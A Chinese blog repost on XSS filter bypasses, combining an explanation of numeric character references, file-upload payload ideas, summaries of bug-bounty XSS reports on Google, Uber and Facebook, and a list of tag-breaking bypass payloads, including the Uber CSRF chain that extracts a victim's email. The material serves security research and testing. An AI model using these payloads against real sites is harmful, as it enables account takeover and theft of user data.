New XSS Bypass!

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了New XSS Bypass!相关的知识,希望对你有一定的参考价值。

参考技术A 逛推特突然看到Jackson大佬的xss绕过思路,挺有意思

alert%26%230000000040等价于(

这个payload分为三部分

其中的关键就在于,%26%230000000040这个,他等价于"("闭合了后面的")",所以形成了这个XSS Bypass

但是为啥(回等价于"("呢。

因为使用了NCR的方式,使现实字符实体名称或不被浏览器支持的一些实体被浏览器显示,先找到字符对应的UNICODE编码,以小于号为例,unicode编码16进制为3C(10进制为60),在html则可以使用<或<,跟上面的表格对照看是否相同,由此我们也可以知道,如果我们的html所采用的编码不支持一些字符(比如其他国家的字符),则可以通过NCR来引入我们的页面就不会乱码了。

NCR:
Google了一下,这东西专业名称叫numeric character reference(NCR),直译就是数字字符引用。一个Numeric Character Reference编码是由一个与号(&)跟着一个井号(#),然后跟着这个字符的Unicode编码值,最后跟着一个分号组成的,就像上面的例子一样。

有了数字字符引用,就可以在网页中显示Unicode字符了,不用考虑html文件本身的编码。

XSS bypass新思路

主要挖掘方法:Burpsuite and WFuzz

0x00.新思路

文件上传:

  • 在文件名插入payload,即

    1. <svgonload=alert(1)>.jpg

  • 在文件内容中添加payload,如果为前端加载即触发

更多bypass变形 =》 《XSS-Cheat-Sheet-2019-Edition-2》

0x01.案例分析

1.[BugBounty] Sleeping stored Google XSS Awakens a $5000 Bounty by Patrik Fehrenbach

思路(存储型xss):创建项目时,在项目标题处添加payload,添加时会被转义,而执行删除操作时会被执行

payload:

 
   
   
 
  1. "><img src=x onerror=prompt(1);> || "><img src = x onerror = javascript: alert (1); >

2.Uber Bug Bounty: Turning Self-XSS into Good-XSS

由于用户是先访问partner.uber.com,通过login.uber.com跳转到授权服务器get到token再跳转回partner.uber.com并携带token,注销时也会先销毁partner.uber.com的session再销毁login.uber.com的session

CSRF目的:让用户退出当前会话,但是保留session,即销毁partner.uber.com的session,保留login.uber.com的session,登陆到我们的账号访问我们自己的xss_payload,再跳回用户的界面使我们的payload继续执行,从而获取到敏感信息

payload:

 
   
   
 
  1. <script>alert(document.domain);</script>

 
   
   
 
  1. <!-- 设置内容安全策略以拦截对login.uber.com的请求,使得目标维护其会话 -->

  2. <meta http-equiv="Content-Security-Policy" content="img-src https://partners.uber.com">

  3. <!-- 注销用户 -->

  4. <!-- 因为内容安全策略会报错,所以用于执行下一步登录操作 -->

  5. <img src="https://partners.uber.com/logout/" onerror="login();">

  6. <!-- 模拟登录我们的账号 -->

  7. <script>

  8. //Initiate login so that we can redirect them

  9. var login = function() {

  10. var loginImg = document.createElement('img');

  11. loginImg.src = 'https://partners.uber.com/login/'; //将payload中的注销页面换成登录页面

  12. loginImg.onerror = redir; //执行登录操作

  13. }

  14. //Redirect them to login with our code

  15. var redir = function() {

  16. //Get the code from the URL to make it easy for testing

  17. var code = window.location.hash.slice(1);

  18. var loginImg2 = document.createElement('img');

  19. loginImg2.src = 'https://partners.uber.com/oauth/callback?code=' + code;

  20. loginImg2.onerror = function() {

  21. //重定向至带有payload的配置文件页

  22. window.location = 'https://partners.uber.com/profile/';

  23. }

  24. }

  25. //创建iframe以将用户从我们的帐户注销并重新登录到他们的帐户

  26. var loginIframe = document.createElement('iframe');

  27. loginIframe.setAttribute('src', 'https://存有payload的ifrome页面');

  28. document.body.appendChild(loginIframe);

  29. </script>

iframe标签内的内容

 
   
   
 
  1. <!-- 同上,设置内容安全策略以拦截对login.uber.com的请求,使得目标维护其会话 -->

  2. <meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">

  3. <!-- Log the user out of our partner account -->

  4. <img src="https://partners.uber.com/logout/" onerror="redir();">

  5. <script>

  6. //让用户返回他们自己的账号

  7. var redir = function() {

  8. window.location = 'https://partners.uber.com/login/';

  9. };

  10. </script>

  11. //创建里一个iframe用来存放获取到的用户信息

  12. setTimeout(function() {

  13. var profileIframe = document.createElement('iframe');

  14. profileIframe.setAttribute('src', 'https://partners.uber.com/profile/');

  15. profileIframe.setAttribute('id', 'pi');

  16. document.body.appendChild(profileIframe);

  17. //Extract their email as PoC

  18. profileIframe.onload = function() {

  19. var d = document.getElementById('pi').contentWindow.document.body.innerHTML;

  20. var matches = /value="([^"]+)" name="email"/.exec(d);

  21. alert(matches[1]);

  22. }

  23. }, 9000);

3.Three Stored XSS in Facebook

在Facebook聊天中存储XSS

用户启动有预览的新消息时,帖子上方会有预览的GUI,而显示该链接的参数为:

 
   
   
 
  1. attachment[params][title],attachment[params][urlInfo][final]

而其未对此做验证,即(http or https),so可以改为

 
   
   
 
  1. attachment[params][title],attachment[params][urlInfo][final]=<a href="javascript:alert(document.domain)"> PoC Click Me </a>

当用户点击恶意链接时,触发XSS_Payload

Facebook存储XSS

Facebook Messenger中存储的XSS(Windows)

用户注册的地方已做xss校验,创建一个新页面,将name改为

 
   
   
 
  1. <img src =“a.jpg" onerror = javascript:alert(1) >

,然后从该页面向受害者发送消息,每次受害者登录Facebook Messenger时,都会在其帐户上运行存储的XSS Payload

4. Persistent XSS on myworld.ebay.com

5. Complicated, Best Report of Google XSS

6. Tricky Html Injection and Possible XSS in sms-be-vip.twitter.com

7. Yahoo Mail stored XSS

0x02.Bypass

 
   
   
 
  1. xmp

  2. <xmp><p title="</xmp><svg/onload=alert(45)>">

  3. <xmp><p title="</xmp><script>alert(0)</script>">

  4. noscript

  5. <noscript><p title="</noscript><svg/onload=alert(45)>”>

  6. noframes

  7. <noframes><p title="</noframes><svg/onload=alert(45)>”>

  8. iframe

  9. <iframe><p title="</iframe><svg/onload=alert(45)>">

  10. noembed

  11. <noembed><img src="</noembed><iframe onload=alert(1)>" /></noembed>

  12. <object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>

  13. 绕过删除<script>及on开头的事件

  14. "/><svg/on<script>load=prompt(document.domain);>

  15. "/><svg/on<script>load=prompt(document.cookie);>

0x03.骚思路

1.在输入限制中的xss

测试靶场:https://brutelogic.com.br/tests/input-formats.php

以上是关于New XSS Bypass!的主要内容,如果未能解决你的问题,请参考以下文章

记一则有趣的存储XSS Bypass经历

xss bypass 学习记录

XSS bypass新思路

Bypass XSS过滤方法

Bypass xss过滤的测试方法

" XSS易容术---bypass之编码混淆篇+辅助脚本编写"